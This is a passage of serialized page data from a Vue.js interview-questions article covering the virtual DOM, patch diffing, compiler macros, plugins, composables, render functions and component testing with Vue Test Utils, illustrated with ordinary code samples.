\u003Cfooter>Footer\u003C/footer>\n\u003C/template>\n",[18,18699,18700,18708,18721,18734,18747],{"__ignoreMap":128},[132,18701,18702,18704,18706],{"class":134,"line":135},[132,18703,139],{"class":138},[132,18705,143],{"class":142},[132,18707,146],{"class":138},[132,18709,18710,18712,18714,18717,18719],{"class":134,"line":149},[132,18711,152],{"class":138},[132,18713,8265],{"class":142},[132,18715,18716],{"class":138},">Title\u003C/",[132,18718,8265],{"class":142},[132,18720,146],{"class":138},[132,18722,18723,18725,18727,18730,18732],{"class":134,"line":176},[132,18724,152],{"class":138},[132,18726,8279],{"class":142},[132,18728,18729],{"class":138},">Content\u003C/",[132,18731,8279],{"class":142},[132,18733,146],{"class":138},[132,18735,18736,18738,18740,18743,18745],{"class":134,"line":186},[132,18737,152],{"class":138},[132,18739,9203],{"class":142},[132,18741,18742],{"class":138},">Footer\u003C/",[132,18744,9203],{"class":142},[132,18746,146],{"class":138},[132,18748,18749,18751,18753],{"class":134,"line":193},[132,18750,179],{"class":138},[132,18752,143],{"class":142},[132,18754,146],{"class":138},[11,18756,18757,18758,18760,18761,18763,18764,18767],{},"This removes a common source of unnecessary wrapper ",[18,18759,8232],{},"s that used to exist purely to satisfy Vue 2's constraint, which is especially useful for layout components, table rows, or list items where an extra wrapper element would break CSS layout (like inserting a ",[18,18762,8232],{}," between ",[18,18765,18766],{},"\u003Ctr>"," elements).",[11,18769,18770,18771,18773,18774,385],{},"One practical side effect: attribute inheritance (\"fallthrough attributes\") is ambiguous with multiple roots, since Vue doesn't know which root element should receive attributes passed from the parent. Vue 3 will warn if you have multiple roots and don't explicitly bind ",[18,18772,2503],{}," to one of them or set ",[18,18775,8064],{},[34,18777,18779],{"id":18778},"_134-what-is-the-virtual-dom-and-how-does-vue-use-it-to-update-the-real-dom-efficiently","134. What is the Virtual DOM, and how does Vue use it to update the real DOM efficiently?",[11,18781,18782],{},"The Virtual DOM is a lightweight, in-memory tree of plain JavaScript objects (vnodes) that mirrors the structure of the real DOM. Instead of a component directly manipulating DOM elements when its data changes, its render function produces a new vnode tree describing what the UI should look like, and Vue compares that tree to the previous one to figure out the minimal set of real DOM operations needed to make the actual page match.",[11,18784,18785],{},[1268,18786],{"alt":18787,"src":18788},"Vue virtual DOM diffing diagram","/post-images/top-150-vuejs-interview-questions/vue-virtual-dom-diffing-diagram.png",[11,18790,18791],{},"The reason this exists at all: real DOM operations (creating elements, inserting nodes, mutating attributes, triggering layout) are relatively expensive because they touch the browser's rendering engine, while creating and comparing JavaScript objects in memory is cheap. By batching and minimizing actual DOM writes, Vue avoids repeated expensive operations like reflow and repaint that would happen if you mutated the DOM directly on every small change.",[11,18793,18794],{},"It's worth knowing that Vue 3 doesn't rely purely on runtime vnode diffing the way a naive virtual DOM implementation would; the compiler adds patch flags and the block tree so the \"diff\" step already knows what's dynamic and what to skip, before the vnodes are even compared at runtime. The virtual DOM is still the underlying model, but Vue 3 uses compile-time information to make working with it much faster than a generic diff algorithm would be on its own.",[34,18796,18798],{"id":18797},"_135-how-does-vues-diffing-patch-algorithm-decide-what-to-update-in-the-real-dom","135. How does Vue's diffing (patch) algorithm decide what to update in the real DOM?",[11,18800,18801,18802,18804,18805,18807],{},"When patching, Vue first compares the new vnode against the old vnode at the same position: if the element type and ",[18,18803,1614],{}," match, Vue reuses the existing DOM node and only updates what actually differs; if the type or ",[18,18806,1614],{}," differs, Vue tears down the old DOM subtree and mounts a new one rather than trying to reconcile mismatched structures.",[11,18809,18810,18811,18813,18814,18816,18817,18819],{},"For a compiled template, this comparison is guided by patch flags: a vnode flagged ",[18,18812,17721],{}," only has its text content re-checked, one flagged ",[18,18815,17724],{}," only has its class re-checked, and so on, rather than Vue comparing every attribute blindly. Within a block, only the nodes present in that block's ",[18,18818,17847],{}," array get visited at all; static nodes are skipped outright because the compiler already proved they can't change.",[11,18821,18822,18823,18825,18826,18828,18829,18831],{},"For keyed lists (",[18,18824,1454],{},"), Vue runs a specialized algorithm that compares old and new children by their ",[18,18827,1614],{},". It first skips matching nodes at the start and end of both lists (the common case of appending/prepending), then for the remaining middle section it computes the longest increasing subsequence of matched indices, that subsequence represents nodes that are already in the correct relative order and can stay untouched, while everything else gets moved, added, or removed with the minimum number of DOM operations. This is why a stable, unique ",[18,18830,1458],{}," matters so much: without it, Vue can't reliably tell which old node corresponds to which new one, and falls back to less efficient in-place patching that can scramble component state.",[34,18833,18835,18836,592,18838,18840],{"id":18834},"_136-what-are-compiler-macros-like-defineprops-and-defineemits-and-why-dont-you-need-to-import-them","136. What are compiler macros like ",[18,18837,6501],{},[18,18839,7068],{},", and why don't you need to import them?",[11,18842,18843,581,18845,581,18847,581,18849,626,18851,18853,18854,18856,18857,18860,18861,18863,18864,18866],{},[18,18844,6501],{},[18,18846,7068],{},[18,18848,8363],{},[18,18850,8133],{},[18,18852,6830],{}," are compiler macros, special identifiers that only have meaning inside ",[18,18855,20],{}," and are processed entirely at compile time by the Vue single-file component compiler. They aren't real JavaScript functions with a runtime implementation; when the compiler sees ",[18,18858,18859],{},"defineProps({...})"," in your ",[18,18862,20],{}," block, it strips that call out and rewrites it into the equivalent of the Options API's ",[18,18865,4310],{}," option on the underlying component definition.",[11,18868,18869,18870,18872,18873,18876],{},"That's exactly why you never import them: importing a macro would imply it's a normal function you call at runtime, but there's nothing to call, the compiler recognizes the identifier by name and transforms the surrounding code before any of it executes in the browser. If you did try to import ",[18,18871,6501],{}," from ",[18,18874,18875],{},"'vue'",", you'd find it isn't even exported as a real function for this purpose, since the whole mechanism depends on static, compile-time analysis of your source code.",[123,18878,18880],{"className":125,"code":18879,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nconst props = defineProps({\n    title: { type: String, required: true },\n})\n\nconst emit = defineEmits(['update', 'close'])\n\u003C/script>\n",[18,18881,18882,18892,18904,18914,18918,18922,18944],{"__ignoreMap":128},[132,18883,18884,18886,18888,18890],{"class":134,"line":135},[132,18885,139],{"class":138},[132,18887,198],{"class":142},[132,18889,201],{"class":158},[132,18891,146],{"class":138},[132,18893,18894,18896,18898,18900,18902],{"class":134,"line":149},[132,18895,230],{"class":209},[132,18897,6524],{"class":233},[132,18899,237],{"class":209},[132,18901,6529],{"class":158},[132,18903,4542],{"class":138},[132,18905,18906,18909,18911],{"class":134,"line":176},[132,18907,18908],{"class":138},"    title: { type: String, required: ",[132,18910,1853],{"class":233},[132,18912,18913],{"class":138}," },\n",[132,18915,18916],{"class":134,"line":186},[132,18917,3156],{"class":138},[132,18919,18920],{"class":134,"line":193},[132,18921,190],{"emptyLinePlaceholder":189},[132,18923,18924,18926,18928,18930,18932,18934,18937,18939,18942],{"class":134,"line":206},[132,18925,230],{"class":209},[132,18927,7103],{"class":233},[132,18929,237],{"class":209},[132,18931,7108],{"class":158},[132,18933,3622],{"class":138},[132,18935,18936],{"class":165},"'update'",[132,18938,581],{"class":138},[132,18940,18941],{"class":165},"'close'",[132,18943,3636],{"class":138},[132,18945,18946,18948,18950],{"class":134,"line":222},[132,18947,179],{"class":138},[132,18949,198],{"class":142},[132,18951,146],{"class":138},[11,18953,18954,18955,18957,18958,18960,18961,4319,18963,18965],{},"This code compiles down to a component with a ",[18,18956,4310],{}," option and an ",[18,18959,7251],{}," option, and ",[18,18962,4310],{},[18,18964,7080],{}," become locally scoped variables bound to that instance, all without any import statement needed.",[34,18967,18969,18970,2825],{"id":18968},"_137-what-is-appconfigglobalproperties-and-when-would-you-use-it","137. What is ",[18,18971,18972],{},"app.config.globalProperties",[11,18974,18975,18977,18978,18980,18981,385],{},[18,18976,18972],{}," is an object where you can attach properties or methods that become available on every component instance in the app, accessed via ",[18,18979,8604],{}," in Options API components. It's the Vue 3 replacement for Vue 2's pattern of assigning things onto ",[18,18982,18983],{},"Vue.prototype",[123,18985,18987],{"className":388,"code":18986,"language":390,"meta":128,"style":128},"// main.js\nconst app = createApp(App)\n\napp.config.globalProperties.$http = axios\napp.config.globalProperties.$formatDate = (date) => new Intl.DateTimeFormat('en-US').format(date)\n\napp.mount('#app')\n",[18,18988,18989,18993,19005,19009,19019,19059,19063],{"__ignoreMap":128},[132,18990,18991],{"class":134,"line":135},[132,18992,398],{"class":397},[132,18994,18995,18997,18999,19001,19003],{"class":134,"line":149},[132,18996,230],{"class":209},[132,18998,432],{"class":233},[132,19000,237],{"class":209},[132,19002,437],{"class":158},[132,19004,440],{"class":138},[132,19006,19007],{"class":134,"line":176},[132,19008,190],{"emptyLinePlaceholder":189},[132,19010,19011,19014,19016],{"class":134,"line":186},[132,19012,19013],{"class":138},"app.config.globalProperties.$http ",[132,19015,162],{"class":209},[132,19017,19018],{"class":138}," axios\n",[132,19020,19021,19024,19027,19029,19031,19034,19036,19038,19040,19043,19046,19048,19051,19053,19056],{"class":134,"line":193},[132,19022,19023],{"class":138},"app.config.globalProperties.",[132,19025,19026],{"class":158},"$formatDate",[132,19028,237],{"class":209},[132,19030,5454],{"class":138},[132,19032,19033],{"class":697},"date",[132,19035,5284],{"class":138},[132,19037,2662],{"class":209},[132,19039,6371],{"class":209},[132,19041,19042],{"class":138}," Intl.",[132,19044,19045],{"class":158},"DateTimeFormat",[132,19047,243],{"class":138},[132,19049,19050],{"class":165},"'en-US'",[132,19052,9122],{"class":138},[132,19054,19055],{"class":158},"format",[132,19057,19058],{"class":138},"(date)\n",[132,19060,19061],{"class":134,"line":206},[132,19062,190],{"emptyLinePlaceholder":189},[132,19064,19065,19067,19069,19071,19073],{"class":134,"line":222},[132,19066,449],{"class":138},[132,19068,452],{"class":158},[132,19070,243],{"class":138},[132,19072,457],{"class":165},[132,19074,249],{"class":138},[11,19076,19077,19078,19081],{},"It's mainly meant for plugin authors who need to expose something app-wide, like an HTTP client or a translation function, without every component having to import it individually. In Options API components you'd then call ",[18,19079,19080],{},"this.$http.get(...)"," anywhere.",[11,19083,19084,19085,19087,19088,19090,19091,19094,19095,4319,19097,19099],{},"It's less useful, and a bit awkward, in ",[18,19086,20],{}," code, since there's no ",[18,19089,8604],{},"; you'd have to reach for ",[18,19092,19093],{},"getCurrentInstance().appContext.config.globalProperties",", which the Vue team explicitly discourages outside of internal/advisory use. For Composition API codebases, ",[18,19096,10030],{},[18,19098,10033],{}," or plain composables (exporting a shared instance from a module) are the preferred way to share app-wide functionality, since they're explicit about where a value comes from and work cleanly with TypeScript, unlike global properties which are essentially untyped ambient state.",[34,19101,19103],{"id":19102},"_138-how-do-you-write-and-register-a-custom-vue-plugin","138. How do you write and register a custom Vue plugin?",[11,19105,19106,19107,19110,19111,19113,19114,19116],{},"A Vue plugin is an object with an ",[18,19108,19109],{},"install(app, options)"," function (or, more rarely, just a function itself) that receives the application instance and can use it to add app-wide functionality: global components, custom directives, global properties, or values provided via ",[18,19112,10030],{}," for ",[18,19115,10033],{}," to pick up anywhere in the tree.",[123,19118,19120],{"className":388,"code":19119,"language":390,"meta":128,"style":128},"// plugins/toast.js\nexport default {\n    install(app, options = {}) {\n        const duration = options.duration ?? 3000\n\n        app.config.globalProperties.$toast = (message) => {\n            console.log(`[toast, ${duration}ms]:`, message)\n        }\n\n        app.directive('focus', {\n            mounted(el) {\n                el.focus()\n            },\n        })\n\n        app.provide('toastDuration', duration)\n    },\n}\n",[18,19121,19122,19127,19135,19155,19173,19177,19197,19218,19222,19226,19241,19253,19263,19268,19273,19277,19291,19295],{"__ignoreMap":128},[132,19123,19124],{"class":134,"line":135},[132,19125,19126],{"class":397},"// plugins/toast.js\n",[132,19128,19129,19131,19133],{"class":134,"line":149},[132,19130,807],{"class":209},[132,19132,810],{"class":209},[132,19134,316],{"class":138},[132,19136,19137,19140,19142,19145,19147,19150,19152],{"class":134,"line":176},[132,19138,19139],{"class":158},"    install",[132,19141,243],{"class":138},[132,19143,19144],{"class":697},"app",[132,19146,581],{"class":138},[132,19148,19149],{"class":697},"options",[132,19151,237],{"class":209},[132,19153,19154],{"class":138}," {}) {\n",[132,19156,19157,19159,19162,19164,19167,19170],{"class":134,"line":186},[132,19158,824],{"class":209},[132,19160,19161],{"class":233}," duration",[132,19163,237],{"class":209},[132,19165,19166],{"class":138}," options.duration ",[132,19168,19169],{"class":209},"??",[132,19171,19172],{"class":233}," 3000\n",[132,19174,19175],{"class":134,"line":193},[132,19176,190],{"emptyLinePlaceholder":189},[132,19178,19179,19182,19185,19187,19189,19191,19193,19195],{"class":134,"line":206},[132,19180,19181],{"class":138},"        app.config.globalProperties.",[132,19183,19184],{"class":158},"$toast",[132,19186,237],{"class":209},[132,19188,5454],{"class":138},[132,19190,2933],{"class":697},[132,19192,5284],{"class":138},[132,19194,2662],{"class":209},[132,19196,316],{"class":138},[132,19198,19199,19202,19204,19206,19209,19212,19215],{"class":134,"line":222},[132,19200,19201],{"class":138},"            console.",[132,19203,3143],{"class":158},[132,19205,243],{"class":138},[132,19207,19208],{"class":165},"`[toast, ${",[132,19210,19211],{"class":138},"duration",[132,19213,19214],{"class":165},"}ms]:`",[132,19216,19217],{"class":138},", message)\n",[132,19219,19220],{"class":134,"line":227},[132,19221,857],{"class":138},[132,19223,19224],{"class":134,"line":252},[132,19225,190],{"emptyLinePlaceholder":189},[132,19227,19228,19231,19234,19236,19239],{"class":134,"line":257},[132,19229,19230],{"class":138},"        app.",[132,19232,19233],{"class":158},"directive",[132,19235,243],{"class":138},[132,19237,19238],{"class":165},"'focus'",[132,19240,15021],{"class":138},[132,19242,19243,19246,19248,19251],{"class":134,"line":269},[132,19244,19245],{"class":158},"            mounted",[132,19247,243],{"class":138},[132,19249,19250],{"class":697},"el",[132,19252,701],{"class":138},[132,19254,19255,19258,19261],{"class":134,"line":278},[132,19256,19257],{"class":138},"                el.",[132,19259,19260],{"class":158},"focus",[132,19262,4951],{"class":138},[132,19264,19265],{"class":134,"line":284},[132,19266,19267],{"class":138},"            },\n",[132,19269,19270],{"class":134,"line":293},[132,19271,19272],{"class":138},"        })\n",[132,19274,19275],{"class":134,"line":298},[132,19276,190],{"emptyLinePlaceholder":189},[132,19278,19279,19281,19283,19285,19288],{"class":134,"line":311},[132,19280,19230],{"class":138},[132,19282,10030],{"class":158},[132,19284,243],{"class":138},[132,19286,19287],{"class":165},"'toastDuration'",[132,19289,19290],{"class":138},", duration)\n",[132,19292,19293],{"class":134,"line":319},[132,19294,5830],{"class":138},[132,19296,19297],{"class":134,"line":331},[132,19298,281],{"class":138},[11,19300,19301,19302,19305],{},"You register it by calling ",[18,19303,19304],{},"app.use()"," before mounting:",[123,19307,19309],{"className":388,"code":19308,"language":390,"meta":128,"style":128},"// main.js\nimport { createApp } from 'vue'\nimport App from './App.vue'\nimport ToastPlugin from './plugins/toast'\n\nconst app = createApp(App)\napp.use(ToastPlugin, { duration: 5000 })\napp.mount('#app')\n",[18,19310,19311,19315,19325,19335,19347,19351,19363,19376],{"__ignoreMap":128},[132,19312,19313],{"class":134,"line":135},[132,19314,398],{"class":397},[132,19316,19317,19319,19321,19323],{"class":134,"line":149},[132,19318,210],{"class":209},[132,19320,405],{"class":138},[132,19322,216],{"class":209},[132,19324,219],{"class":165},[132,19326,19327,19329,19331,19333],{"class":134,"line":176},[132,19328,210],{"class":209},[132,19330,416],{"class":138},[132,19332,216],{"class":209},[132,19334,421],{"class":165},[132,19336,19337,19339,19342,19344],{"class":134,"line":186},[132,19338,210],{"class":209},[132,19340,19341],{"class":138}," ToastPlugin ",[132,19343,216],{"class":209},[132,19345,19346],{"class":165}," './plugins/toast'\n",[132,19348,19349],{"class":134,"line":193},[132,19350,190],{"emptyLinePlaceholder":189},[132,19352,19353,19355,19357,19359,19361],{"class":134,"line":206},[132,19354,230],{"class":209},[132,19356,432],{"class":233},[132,19358,237],{"class":209},[132,19360,437],{"class":158},[132,19362,440],{"class":138},[132,19364,19365,19367,19369,19372,19374],{"class":134,"line":222},[132,19366,449],{"class":138},[132,19368,13203],{"class":158},[132,19370,19371],{"class":138},"(ToastPlugin, { duration: ",[132,19373,17695],{"class":233},[132,19375,3120],{"class":138},[132,19377,19378,19380,19382,19384,19386],{"class":134,"line":227},[132,19379,449],{"class":138},[132,19381,452],{"class":158},[132,19383,243],{"class":138},[132,19385,457],{"class":165},[132,19387,249],{"class":138},[11,19389,19390,19392,19393,19396,19397,19400],{},[18,19391,19304],{}," calls the plugin's ",[18,19394,19395],{},"install"," method once, passing the app instance and any options you supply, and Vue tracks which plugins are already installed so calling ",[18,19398,19399],{},"use()"," twice with the same plugin is a no-op.",[34,19402,19404],{"id":19403},"_139-what-is-the-difference-between-a-mixin-and-a-plugin-and-why-are-composables-usually-preferred-over-both-today","139. What is the difference between a mixin and a plugin, and why are composables usually preferred over both today?",[11,19406,19407,19408,19411,19412,19415],{},"A mixin is a plain object of component options (data, methods, lifecycle hooks) that gets merged into a component's own options when you add it to the component's ",[18,19409,19410],{},"mixins"," array. It's meant for sharing logic between individual components. The problem is the merge is implicit: once merged, you can't easily tell whether ",[18,19413,19414],{},"this.someMethod"," came from the component itself or from one of its mixins, and if two mixins define a property with the same name, Vue has to apply merge rules that aren't always obvious. This makes mixins hard to trace and refactor, especially as a codebase grows.",[11,19417,19418],{},"A plugin operates at the app level, not the component level. It's for installing cross-cutting functionality once (global components, directives, global properties, provided values), not for injecting reusable stateful logic into many individual components' internals.",[11,19420,19421,19422,581,19424,12327,19426,19428],{},"A composable is just a plain function that uses Composition API primitives (",[18,19423,1004],{},[18,19425,629],{},[18,19427,10789],{},") internally and returns whatever reactive state and functions the consuming component needs.",[123,19430,19432],{"className":388,"code":19431,"language":390,"meta":128,"style":128},"// composables/useMouse.js\nimport { ref, onMounted, onUnmounted } from 'vue'\n\nexport function useMouse() {\n    const x = ref(0)\n    const y = ref(0)\n\n    function update(event) {\n        x.value = event.pageX\n        y.value = event.pageY\n    }\n\n    onMounted(() => window.addEventListener('mousemove', update))\n    onUnmounted(() => window.removeEventListener('mousemove', update))\n\n    return { x, y }\n}\n",[18,19433,19434,19439,19449,19453,19463,19479,19495,19499,19511,19519,19527,19531,19535,19553,19571,19575,19581],{"__ignoreMap":128},[132,19435,19436],{"class":134,"line":135},[132,19437,19438],{"class":397},"// composables/useMouse.js\n",[132,19440,19441,19443,19445,19447],{"class":134,"line":149},[132,19442,210],{"class":209},[132,19444,12685],{"class":138},[132,19446,216],{"class":209},[132,19448,219],{"class":165},[132,19450,19451],{"class":134,"line":176},[132,19452,190],{"emptyLinePlaceholder":189},[132,19454,19455,19457,19459,19461],{"class":134,"line":186},[132,19456,807],{"class":209},[132,19458,4920],{"class":209},[132,19460,12702],{"class":158},[132,19462,266],{"class":138},[132,19464,19465,19467,19469,19471,19473,19475,19477],{"class":134,"line":193},[132,19466,4242],{"class":209},[132,19468,12711],{"class":233},[132,19470,237],{"class":209},[132,19472,240],{"class":158},[132,19474,243],{"class":138},[132,19476,246],{"class":233},[132,19478,249],{"class":138},[132,19480,19481,19483,19485,19487,19489,19491,19493],{"class":134,"line":206},[132,19482,4242],{"class":209},[132,19484,12728],{"class":233},[132,19486,237],{"class":209},[132,19488,240],{"class":158},[132,19490,243],{"class":138},[132,19492,246],{"class":233},[132,19494,249],{"class":138},[132,19496,19497],{"class":134,"line":222},[132,19498,190],{"emptyLinePlaceholder":189},[132,19500,19501,19503,19505,19507,19509],{"class":134,"line":227},[132,19502,4259],{"class":209},[132,19504,12749],{"class":158},[132,19506,243],{"class":138},[132,19508,12754],{"class":697},[132,19510,701],{"class":138},[132,19512,19513,19515,19517],{"class":134,"line":252},[132,19514,12761],{"class":138},[132,19516,162],{"class":209},[132,19518,12766],{"class":138},[132,19520,19521,19523,19525],{"class":134,"line":257},[132,19522,12771],{"class":138},[132,19524,162],{"class":209},[132,19526,12776],{"class":138},[132,19528,19529],{"class":134,"line":269},[132,19530,870],{"class":138},[132,19532,19533],{"class":134,"line":278},[132,19534,190],{"emptyLinePlaceholder":189},[132,19536,19537,19539,19541,19543,19545,19547,19549,19551],{"class":134,"line":284},[132,19538,12789],{"class":158},[132,19540,2659],{"class":138},[132,19542,2662],{"class":209},[132,19544,12796],{"class":138},[132,19546,12799],{"class":158},[132,19548,243],{"class":138},[132,19550,12804],{"class":165},[132,19552,12807],{"class":138},[132,19554,19555,19557,19559,19561,19563,19565,19567,19569],{"class":134,"line":293},[132,19556,12812],{"class":158},[132,19558,2659],{"class":138},[132,19560,2662],{"class":209},[132,19562,12796],{"class":138},[132,19564,12821],{"class":158},[132,19566,243],{"class":138},[132,19568,12804],{"class":165},[132,19570,12807],{"class":138},[132,19572,19573],{"class":134,"line":298},[132,19574,190],{"emptyLinePlaceholder":189},[132,19576,19577,19579],{"class":134,"line":311},[132,19578,706],{"class":209},[132,19580,12838],{"class":138},[132,19582,19583],{"class":134,"line":319},[132,19584,281],{"class":138},[123,19586,19588],{"className":125,"code":19587,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { useMouse } from './composables/useMouse'\n\nconst { x, y } = useMouse()\n\u003C/script>\n",[18,19589,19590,19600,19611,19615,19635],{"__ignoreMap":128},[132,19591,19592,19594,19596,19598],{"class":134,"line":135},[132,19593,139],{"class":138},[132,19595,198],{"class":142},[132,19597,201],{"class":158},[132,19599,146],{"class":138},[132,19601,19602,19604,19606,19608],{"class":134,"line":149},[132,19603,210],{"class":209},[132,19605,12864],{"class":138},[132,19607,216],{"class":209},[132,19609,19610],{"class":165}," './composables/useMouse'\n",[132,19612,19613],{"class":134,"line":176},[132,19614,190],{"emptyLinePlaceholder":189},[132,19616,19617,19619,19621,19623,19625,19627,19629,19631,19633],{"class":134,"line":186},[132,19618,230],{"class":209},[132,19620,3858],{"class":138},[132,19622,4668],{"class":233},[132,19624,581],{"class":138},[132,19626,12886],{"class":233},[132,19628,3869],{"class":138},[132,19630,162],{"class":209},[132,19632,12702],{"class":158},[132,19634,4951],{"class":138},[132,19636,19637,19639,19641],{"class":134,"line":193},[132,19638,179],{"class":138},[132,19640,198],{"class":142},[132,19642,146],{"class":138},[11,19644,19645],{},"Composables are preferred because everything is explicit: you can see exactly which values and functions a component pulls in and from where, there's no implicit merging or naming collision since you choose the local variable names yourself (including renaming with destructuring), and TypeScript can infer proper types for the returned values, none of which mixins offer.",[34,19647,19649],{"id":19648},"_140-what-is-a-render-function-and-when-would-you-write-one-instead-of-a-template","140. What is a render function, and when would you write one instead of a template?",[11,19651,19652,19653,19656,19657,19659,19660,19662],{},"A render function is a plain JavaScript (or TypeScript/JSX) function that returns a vnode tree directly, typically using the ",[18,19654,19655],{},"h()"," helper, instead of writing a ",[18,19658,349],{}," block that Vue's compiler turns into a render function for you automatically. Templates and render functions produce the same underlying thing; a template is just a more constrained, more optimizable syntax that compiles down to calls like ",[18,19661,19655],{}," under the hood.",[123,19664,19666],{"className":388,"code":19665,"language":390,"meta":128,"style":128},"import { h, ref } from 'vue'\n\nexport default {\n    setup() {\n        const count = ref(0)\n        return () => h('button', { onClick: () => count.value++ }, `Count: ${count.value}`)\n    },\n}\n",[18,19667,19668,19679,19683,19691,19697,19713,19759,19763],{"__ignoreMap":128},[132,19669,19670,19672,19675,19677],{"class":134,"line":135},[132,19671,210],{"class":209},[132,19673,19674],{"class":138}," { h, ref } ",[132,19676,216],{"class":209},[132,19678,219],{"class":165},[132,19680,19681],{"class":134,"line":149},[132,19682,190],{"emptyLinePlaceholder":189},[132,19684,19685,19687,19689],{"class":134,"line":176},[132,19686,807],{"class":209},[132,19688,810],{"class":209},[132,19690,316],{"class":138},[132,19692,19693,19695],{"class":134,"line":186},[132,19694,817],{"class":158},[132,19696,266],{"class":138},[132,19698,19699,19701,19703,19705,19707,19709,19711],{"class":134,"line":193},[132,19700,824],{"class":209},[132,19702,234],{"class":233},[132,19704,237],{"class":209},[132,19706,240],{"class":158},[132,19708,243],{"class":138},[132,19710,246],{"class":233},[132,19712,249],{"class":138},[132,19714,19715,19717,19720,19722,19724,19726,19729,19731,19734,19736,19738,19741,19743,19746,19749,19751,19753,19755,19757],{"class":134,"line":206},[132,19716,862],{"class":209},[132,19718,19719],{"class":138}," () ",[132,19721,2662],{"class":209},[132,19723,709],{"class":158},[132,19725,243],{"class":138},[132,19727,19728],{"class":165},"'button'",[132,19730,12526],{"class":138},[132,19732,19733],{"class":158},"onClick",[132,19735,7020],{"class":138},[132,19737,2662],{"class":209},[132,19739,19740],{"class":138}," count.value",[132,19742,3168],{"class":209},[132,19744,19745],{"class":138}," }, ",[132,19747,19748],{"class":165},"`Count: ${",[132,19750,3861],{"class":138},[132,19752,385],{"class":165},[132,19754,4628],{"class":138},[132,19756,6400],{"class":165},[132,19758,249],{"class":138},[132,19760,19761],{"class":134,"line":222},[132,19762,5830],{"class":138},[132,19764,19765],{"class":134,"line":227},[132,19766,281],{"class":138},[11,19768,19769,19770,4319,19772,19774],{},"You'd reach for a render function when the logic you need to express doesn't map cleanly onto template directives, for example: a component that recursively renders itself with structure determined by deeply dynamic data, a component library helper that needs to generate arbitrary combinations of elements based on runtime configuration, or functional/renderless components where a template would need awkward, deeply nested ",[18,19771,1345],{},[18,19773,1454],{}," chains that are clearer as plain JavaScript control flow (loops, conditionals, array methods).",[11,19776,19777],{},"The trade-off is that render functions lose the compiler-level optimizations templates get for free, static hoisting and patch flags rely on the compiler statically analyzing a template's structure, which it can't do for arbitrary hand-written JavaScript. For the vast majority of components, templates are more readable and already fast enough, so render functions stay a tool for specific, more advanced cases rather than a default approach.",[29,19779,19781],{"id":19780},"testing-vue-applications","Testing Vue Applications",[34,19783,19785,19786,592,19788,1349],{"id":19784},"_141-what-is-vue-test-utils-and-what-is-the-difference-between-mount-and-shallowmount","141. What is Vue Test Utils, and what is the difference between ",[18,19787,452],{},[18,19789,19790],{},"shallowMount",[11,19792,19793,19794,19797,19798,581,19801,626,19804,19807,19808,19810],{},"Vue Test Utils is the official low level library for testing Vue components. It renders a component outside of a real browser and gives you a ",[18,19795,19796],{},"wrapper"," object with helpers like ",[18,19799,19800],{},"wrapper.find()",[18,19802,19803],{},"wrapper.text()",[18,19805,19806],{},"wrapper.trigger()"," to inspect and interact with it. It's almost always paired with Vitest as the test runner, since Vitest reuses your Vite config and already knows how to process ",[18,19809,80],{}," files.",[11,19812,19813,19814,592,19816,19818,19819,19821,19822,19824],{},"The difference between ",[18,19815,452],{},[18,19817,19790],{}," is how child components are handled. ",[18,19820,452],{}," renders the component and every child component fully, so you get a real, complete DOM tree. ",[18,19823,19790],{}," renders only the component under test and replaces every child component with a simple stub element, so a bug in a child never breaks a test for the parent.",[123,19826,19828],{"className":388,"code":19827,"language":390,"meta":128,"style":128},"import { mount, shallowMount } from '@vue/test-utils'\nimport UserCard from './UserCard.vue'\n\nconst full = mount(UserCard, { props: { name: 'Ada' } })\nconst shallow = shallowMount(UserCard, { props: { name: 'Ada' } })\n",[18,19829,19830,19842,19854,19858,19877],{"__ignoreMap":128},[132,19831,19832,19834,19837,19839],{"class":134,"line":135},[132,19833,210],{"class":209},[132,19835,19836],{"class":138}," { mount, shallowMount } ",[132,19838,216],{"class":209},[132,19840,19841],{"class":165}," '@vue/test-utils'\n",[132,19843,19844,19846,19849,19851],{"class":134,"line":149},[132,19845,210],{"class":209},[132,19847,19848],{"class":138}," UserCard ",[132,19850,216],{"class":209},[132,19852,19853],{"class":165}," './UserCard.vue'\n",[132,19855,19856],{"class":134,"line":176},[132,19857,190],{"emptyLinePlaceholder":189},[132,19859,19860,19862,19865,19867,19870,19873,19875],{"class":134,"line":186},[132,19861,230],{"class":209},[132,19863,19864],{"class":233}," full",[132,19866,237],{"class":209},[132,19868,19869],{"class":158}," mount",[132,19871,19872],{"class":138},"(UserCard, { props: { name: ",[132,19874,5754],{"class":165},[132,19876,4388],{"class":138},[132,19878,19879,19881,19884,19886,19889,19891,19893],{"class":134,"line":193},[132,19880,230],{"class":209},[132,19882,19883],{"class":233}," shallow",[132,19885,237],{"class":209},[132,19887,19888],{"class":158}," shallowMount",[132,19890,19872],{"class":138},[132,19892,5754],{"class":165},[132,19894,4388],{"class":138},[11,19896,19897,19899,19900,19902],{},[18,19898,452],{}," is the better default for most tests because it verifies real parent-child integration. ",[18,19901,19790],{}," is worth reaching for when a child is heavy, slow, or genuinely irrelevant to what you're testing, such as a chart library or a rich text editor.",[34,19904,19906],{"id":19905},"_142-how-do-you-simulate-a-user-interaction-in-a-test-and-assert-that-a-component-emitted-an-event","142. How do you simulate a user interaction in a test and assert that a component emitted an event?",[11,19908,19909,19910,19913,19914,19916,19917,19919],{},"Vue Test Utils simulates interactions with ",[18,19911,19912],{},"wrapper.trigger(eventName)",", which fires a native DOM event (click, input, submit, and so on) on an element you've already found with ",[18,19915,19800],{},". Because Vue batches DOM updates, you should ",[18,19918,11849],{}," the trigger call so the component has a chance to react before your assertions run.",[11,19921,19922,19923,19926],{},"To check what a component emitted, use ",[18,19924,19925],{},"wrapper.emitted()",". It returns an object keyed by event name, where each value is an array of the arguments passed to every emit of that event.",[123,19928,19930],{"className":125,"code":19929,"language":127,"meta":128,"style":128},"\u003C!-- LikeButton.vue -->\n\u003Cscript setup>\nconst emit = defineEmits(['like'])\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cbutton @click=\"emit('like')\">Like\u003C/button>\n\u003C/template>\n",[18,19931,19932,19937,19947,19964,19972,19976,19984,20004],{"__ignoreMap":128},[132,19933,19934],{"class":134,"line":135},[132,19935,19936],{"class":397},"\u003C!-- LikeButton.vue 